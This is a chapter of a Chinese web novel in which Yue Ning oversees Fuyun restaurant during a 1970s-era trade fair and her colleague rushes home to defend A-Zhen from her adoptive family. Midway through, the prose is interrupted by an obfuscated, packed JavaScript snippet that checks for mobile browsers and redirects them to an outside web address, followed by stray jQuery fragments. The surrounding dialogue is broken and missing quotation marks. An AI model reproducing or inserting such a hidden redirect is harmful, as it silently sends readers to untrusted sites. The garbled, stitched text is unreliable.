现在不是看热闹的时候，何家有老夫妻俩在，就算只有一个老婆子，也不会吃亏。
岳宁没停留，快步往前走，去了福运楼。
中午十一点半左右，福运楼正是用餐高峰，门口排起了长队，各国的人都有，看上去很壮观。
这个年代，春交会办三十天，来访宾客不过两万人，就已经让粤城面临这么大的压力了。
上辈子一个车展，开个三五天，参观人次达十来万，粤城都运行得四平八稳，这就是差距。
“大家不要着急，大家可以单点，也可以看一下双人餐、四人餐、六人餐和八人餐，有菜有饭有汤……”一个服务员站在门口，给排队的人派发菜单，“您先看，看好了，让前面的同志先给您开单，进去把单子交给服务员，那就快了。您要是点套餐，上餐快，关键呀！比单点便宜不少呢！”
“我们又不想要这点优惠，只要好吃，能赶紧吃上就好了。”
“岳宁，是岳宁！”人群中有人喊出声。
“真的是她。”
岳宁见排队的客人认出她来，走过去跟他们打招呼：“欢迎来福运楼吃饭，宝华楼和福运楼合资了，等春交会后，福运楼就由宝华楼来管理了。开会期间，咱们这儿不是很忙吗？宝华楼派了张大厨、马大厨和何大厨过来。”
“是吧？还能吃到他们几位做的菜？”
“你们几个人？”
“六个。”
岳宁拿起菜单，说：“听口音是大马华人，没有人信教吧？”
“没有，没有。”
“选这个六人餐吧！里面包含一份烧腊拼盘，一份卤水拼盘，菠萝咕噜肉，这可是马大厨做得最好的菜，糟溜鱼片，是我阿邦叔的拿手菜，煲仔饭是我阿明叔的绝活，还有两个蔬菜，一个猪肚鸡汤，六个人吃得很舒服了。你们都点了套餐呢！大厨们三份菜一起炒，也节省时间。”岳宁向他们介绍。
“听你的，听你的。”
“为什么四人餐和两人餐，菜品差不多啊？两人餐只要四人餐的一半价格。”
岳宁笑：“两人餐都是半份，这样就算人少也能多吃几种啦！咱们春交会开一个月。我拟定了五天不一样的套餐菜单，按照二四六八，有不同量的套餐，也根据人群，分成东西方，还有不吃猪肉的，有不同套餐。大家节省些排队的时间。你们先看看，我进去了。”
岳宁跟他们挥手，往前走，进门
前，有服务员先给顾客点单，服务员说：“我给您先开了单子，您进去直接给领您到那桌的服务员就可以了。
有外商不明白，还在听翻译解释，服务员把菜单翻过来给他看英文，背后都有点餐说明。
这个菜单是岳宁设计的，她为了加快翻台率，增加合并炒菜的概率，也让不懂英文的服务员和外宾能快速沟通。
前头点菜的大姐见岳宁在看她，越发精神抖擞，笑容满面地给外宾开单子。
两家合资，过了这次春交会，宝华楼将要全面接管福运楼，岳宁跟二商局谈判中，对于二商局提出的资金注入、人员培养的要求，一概没有拒绝，唯一的要求是，福运楼现有人员，她只留下六成，四成要退回给二商局。
其中原因，一是她评估过福运楼现有人员冗余；二是她要换血，把懒散的人清除出去；三是她要让下面的人有危机感。
宋自强通通都答应，要求是新进人员，必须是二商局待安置的返城知青。
这一点岳宁也一口答应，知青本就是社会的一个大问题，自己也跟着爸爸下放那么多年，当然愿意伸把手。
合资的消息出来，福运楼的人都开心得跳了起来，想想他们那些去港城学习的厨子，那个收入高得吓人。
听见要把那么多人赶出福运楼，又开始人人自危起来。一个个托关系，找人，生怕被放入裁减名单。
可岳宁说得清清楚楚，谁能留，谁不能留，她亲自决定，哪个说也没用，就看大家的表现。
何运邦他们回来，跟他们说，岳宁人是好，但眼睛里容不下沙子，她是资本家，资本家是要你给她赚钱的。在港城，职员要是连续犯错，立马走人。
服务员见她进来，越发谨慎小心起来。
岳宁进了大厅，里面人声鼎沸，却忙而不乱，福运楼的改变还是肉眼可见的，这么大的客流量下，运行得还不错。
有人看见岳宁进门，早就跑上去告诉了张经理。
“宁宁，来得好早。张经理差不多是跑下楼来的。
“一大早就来了，一点我就要去交流会，中午来看看。岳宁说道，“我看一切都井井有条，真不容易。
被她表扬，张经理脸上浮现笑容：“还不是你们尽心尽力帮助我们。
“也是你们努力。岳宁说，“张经理，你忙吧！我去后厨看看。
“行。
岳宁去换了
厨师服，走进后厨，后厨忙碌得火热，温度也火热异常，四月下旬粤城中午温度将近三十度，里面没有空调，厨师们一个个满头大汗。
何运邦一锅出了三份菜，拿起脖子里的毛巾，擦了一把汗，看见岳宁，说：“去过家里了？
岳宁走过去：“去了。你怎么也不跟阿公和婆婆说，我跟秀琴姐住一起都可以？他们把大房间让我住了？
何运邦涮锅，接过学徒的配菜，舀油润锅，说：“秀琴和阿珍住一起，总不能你们三个挤在一起？
“哦！三个人挤一张床，确实不合适。
听他说起阿珍，岳宁说：“刚才我出来的时候，一个老婆子过来，那是阿珍姨的养母吧？
何运邦边上的范秀琴听见了，立马炸起来：“那个老虔婆，看见咱们师徒俩不在，又来欺负阿珍姐了？
何运邦手里没停，说道：“宁宁，你帮我炒两个菜，我回去看看。
“我也去。范秀琴说。
“这么多客人，你好好炒菜。
范秀琴见何运邦走了，说：“他一个大男人，又不能跟那个老虔婆对骂，也不能打那个老太婆。不带上我哪儿行？
张骏明走过来：“秀琴，我说你笨啊！你师傅他这次回来相亲相了几个了？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915581|176918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“三个。范秀琴边说边炒菜。
“三个可都没成，没有一个好的？张骏明问。
“个个都年轻漂亮。
“那人家不愿意，还是你师傅不愿意？
“我师傅说了，他都三十好几了，还长得不好看，太漂亮的不合适。范秀琴做着菜说，“我跟他说了，他不难看。再说了，好看能当饭吃啊？像他这样有肩膀，能担当的人，还有手艺的，那才叫好呢！我被我北京的师傅逼着去相了好几个对象，长得比我师傅丑，他们还觉得自己厉害着呢！
张骏明揭开一个硕大的不锈钢锅锅盖，一股香气散开，学徒已经在三个砂锅底部铺上炸过的香葱和姜片，张骏明用大勺从锅里捞起一只鸡，放在砂锅里。
“笨啊！你就没想过，你师傅心里已经有人了？张骏明在三个砂锅里放了鸡，再每个砂锅里放猪蹄，浇汁。
范秀琴愣了一下：“我师傅心里有人？
“他刚才这么着急出去，是为什么？张骏明让小学徒看好砂锅。
岳宁先反应过来：“阿明
叔，你说我阿邦叔喜欢珍姨？”
“我师傅喜欢阿珍姐？”范秀琴笑着问道，“那他怎么不说啊？人都在他们家了，他只要说开，不就好了吗？”
“笨蛋，你看阿珍胆子比老鼠还小，再说你师傅现在可是远近闻名的在港城挣大钱的大师傅了。她一个从乡下刚刚回城，都已经二十八了的老姑娘，敢想你师傅这样的吗？”张骏明再次揭开砂锅，神仙豉油鸡的味道浓郁到了极致，他撒了葱花，“出菜了。”
岳宁愣了，阿珍才二十八吗？她以为跟阿邦叔差不多年纪，甚至更大。
“你啊！急公好义，看见阿珍受委屈了，就想帮她出气。这种事，要留给师傅去做，这样两人才能把话说开。”
范秀琴笑了一声：“也是啊！”
却说何运邦连厨师服都没脱，问后厨的兄弟借了一辆自行车，踩着回了家。
刚走到他们家那条街，就看见李家的那个老头子和李家那个混蛋拖着阿珍，老婆子跟在他们身后，嘴里骂道：“没良心的东西，没有我把你领回家，还有你的命？”
“张云娣，你积点德吧！你们一家子在阿珍身上造的孽还不够吗？”何母在后面追。
李家婆子转身对着气喘吁吁的何母说：“大儿子残废，小儿子三十好几都没娶上媳妇。这是前世造的孽，这辈子还想造孽，让阿珍伺候你家那个残废……”
“说什么呢！”何运邦一声吼，把自行车停下。
何父何母看见小儿子回来，何母快步跑过来：“阿邦，张云娣来拉阿珍回去不成，叫了父子俩过来，硬要拖着阿珍走。”
有了小儿子回来，老两口可就不怕那一家子了。
何运邦看着满脸都是眼泪的阿珍，走过去一把揪住李家那个小子。
李家这个儿子在钢厂管耗材仓库，平时就登记一下来料，何运邦整天拿着炒勺颠锅，力气自然完全不一样。
何运邦一拳头砸到李家儿子的头上：“忘恩负义的王八羔子……”